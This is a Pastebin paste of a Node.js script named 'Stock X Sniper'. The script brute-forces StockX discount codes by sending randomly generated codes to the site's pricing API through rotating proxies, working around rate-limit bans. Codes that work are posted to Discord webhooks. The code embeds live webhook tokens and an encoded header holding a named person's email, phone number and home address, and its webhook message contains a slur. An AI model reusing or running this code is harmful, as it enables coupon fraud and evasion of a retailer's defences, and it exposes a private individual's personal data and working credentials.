Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- const requests = require('request');
- const proxies = [];
- const webhook = [
- "https://discordapp.com/api/webhooks/404347534891417601/r5HJldnUklgQIdTGANbHK62XvLbzOvWu5dkUhihg0czU1Ppe6PfvwOHKkiyifcvOKE8C"
- ]
- const amount = [
- '35'
- ]
- const alphabet = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p",
- "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"
- ];
- const used = [];
- loadUsed();
- function generateCode() {
- //pick 3 random letters
- var randomAlphabet1 = alphabet[Math.floor(Math.random() * alphabet.length)];
- var randomAlphabet2 = alphabet[Math.floor(Math.random() * alphabet.length)];
- var randomAlphabet3 = alphabet[Math.floor(Math.random() * alphabet.length)];
- let randomString = randomAlphabet1 + randomAlphabet2 + randomAlphabet3;
- let codeUsed = used.includes(randomString);
- if (codeUsed != true) {
- for (var i = 0; i < amount.length; i++) {
- let codeAmount = amount[i];
- if (codeAmount == '5000') {
- let code = `STXCHI${codeAmount}${randomString.toUpperCase()}`;
- checkCode(code, randomString);
- setTimeout(generateCode, 5000);
- } else {
- let code = `STOCKXCHI${codeAmount}${randomString}`;
- checkCode(code, randomString);
- setTimeout(generateCode, 5000);
- }
- }
- } else {
- console.log("already used...");
- setTimeout(generateCode, 5000);
- }
- }
- function checkCode(code, randomString) {
- let proxy = proxies[Math.floor(Math.random() * proxies.length)];
- const proxySplit = proxy.split(':');
- var proxyUrl = "";
- // set proxy url to use in the request
- if (proxySplit.length == 2) {
- proxyUrl = "http://" + proxySplit[0] + ":" + proxySplit[1];
- } else {
- proxyUrl = "http://" + proxySplit[2] + ":" + proxySplit[3] + "@" + proxySplit[0] + ":" + proxySplit[1];
- }
- // set proxy to the request object
- const request = requests.defaults({
- proxy: proxyUrl
- });
- //send request to stockx checking if code exists
- var options = {
- method: "POST",
- url: `https://stockx.com/api/pricing?currency=CAD`,
- headers: {
- 'postman-token': 'e7c68945-2928-5267-d2f4-01e22c8f29d5',
- 'cache-control': 'no-cache',
- accept: '*/*',
- 'x-requested-with': 'XMLHttpRequest',
- appos: 'web',
- appversion: '0.1',
- 'content-type': 'application/json',
- 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36',
- 'grails-user': 'eyJDdXN0b21lciI6eyJCaWxsaW5nIjp7ImNhcmRUeXBlIjoiUGF5UGFsIiwidG9rZW4iOiJrajJ3dzJwIiwibGFzdDQiOm51bGwsImFjY291bnRFbWFpbCI6InIuaW5mYW50ZTA0MDdAZ21haWwuY29tIiwiZXhwaXJhdGlvbkRhdGUiOm51bGwsImNhcmRob2xkZXJOYW1lIjoiUm9iZXJ0byBJbmZhbnRlIiwiQWRkcmVzcyI6eyJmaXJzdE5hbWUiOiJSb2JlcnRvIiwibGFzdE5hbWUiOiJJbmZhbnRlICIsInRlbGVwaG9uZSI6IjUxOTMxODkxNDMiLCJzdHJlZXRBZGRyZXNzIjoiTG9uZG9uIiwiZXh0ZW5kZWRBZGRyZXNzIjoiMTM1IEJlbG1vbnQgRHIgVW5pdCAxOCIsImxvY2FsaXR5IjoiTG9uZG9uIiwicmVnaW9uIjoiT04iLCJwb3N0YWxDb2RlIjoiTjZKIDRKMyIsImNvdW50cnlDb2RlQWxwaGEyIjoiQ0EifX0sIlNoaXBwaW5nIjp7IkFkZHJlc3MiOnsiZmlyc3ROYW1lIjoiUm9iZXJ0byIsImxhc3ROYW1lIjoiSW5mYW50ZSAiLCJ0ZWxlcGhvbmUiOiI1MTkzMTg5MTQzIiwic3RyZWV0QWRkcmVzcyI6IkxvbmRvbiIsImV4dGVuZGVkQWRkcmVzcyI6IjEzNSBCZWxtb250IERyIFVuaXQgMTgiLCJsb2NhbGl0eSI6IkxvbmRvbiIsInJlZ2lvbiI6Ik9OIiwicG9zdGFsQ29kZSI6Ik42SiA0SjMiLCJjb3VudHJ5Q29kZUFscGhhMiI6IkNBIn19LCJ1dWlkIjoiYzlmYTY0MGItN2U4YS0xMWU2LWIzMTYtMTJjZGExYzliNmE1IiwiaWQiOiI2OTExMCIsImhhc0J1eWVyUmV3YXJkIjpmYWxzZX19',
- origin: 'https://stockx.com'
- },
- body: {
- context: 'buying',
- products: [{
- sku: "75098274-0b8b-4cc1-9159-9ed659ad31fe",
- amount: 11000,
- quantity: 1
- }],
- discountCodes: [code]
- },
- json: true
- };
- request(options, function (error, response, body) {
- // let data = JSON.parse(body);
- if (body) {
- let discountStatus = (body.discount_error);
- if (response.statusCode != 200) {
- console.log(response.statusCode);
- console.log("Banned... Proxy");
- return;
- } else {
- console.log(`testing: ${randomString}`);
- saveUsed(randomString);
- console.log(discountStatus);
- if (discountStatus && (discountStatus != `The discount code '${code}' is invalid.`) && (discountStatus != `The discount code \\'${code}\\' is invalid.`)) {
- if (JSON.stringify(body).includes("rate limited")) {
- console.log("Banned. Proxy");
- return;
- } else {
- console.log(body);
- sendSuccess(code, randomString, body);
- }
- }
- }
- }
- });
- }
- function sendSuccess(code, randomString, body) {
- var options = {
- method: 'POST',
- url: 'https://discordapp.com/api/webhooks/602373974030024715/R6nKUv1eqQ9gQvNEBBDG793vIVYoTXQYm_lodlHdQ9qc1LmR1oHHUUqzciS5jHN_Gn0q',
- headers: {
- 'postman-token': '73e3cd02-b0b8-f1a2-b4cb-8a3f7fd01d80',
- 'cache-control': 'no-cache',
- 'content-type': 'application/json'
- },
- body: JSON.stringify({
- username: "ROBERTO's Dad",
- avatar_url: "https://pbs.twimg.com/profile_images/1146261498488086528/4wT1rB7V_400x400.png",
- embeds: [{
- author: {
- name: "Stock X Sniper",
- icon_url: "https://pbs.twimg.com/profile_images/1146261498488086528/4wT1rB7V_400x400.png"
- },
- title: "Found Code faggot",
- color: 55296,
- fields: [{
- name: "Code",
- value: code,
- inline: false
- },
- {
- name: "Body",
- value: JSON.stringify(body),
- inline: false
- }
- ]
- }]
- })
- };
- requests(options, function (error, response, body) {
- if (error) throw new Error(error);
- console.log(body);
- });
- }
- function loadUsed() {
- const fs = require('fs');
- fs.readFile("usedCodes.txt", function (error, data) {
- if (error) {
- throw error;
- }
- data.toString().split("\n").forEach(function (line, index, arr) {
- if (index === arr.length - 1 && line === "") {
- return;
- }
- used.push(line);
- });
- });
- }
- function saveUsed(code) {
- const fs = require('fs');
- if (code.includes("5000")) {
- fs.appendFileSync('fiveCodes.txt', `${code}\n`);
- } else {
- fs.appendFileSync('usedCodes.txt', `${code}\n`);
- }
- }
- generateCode();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement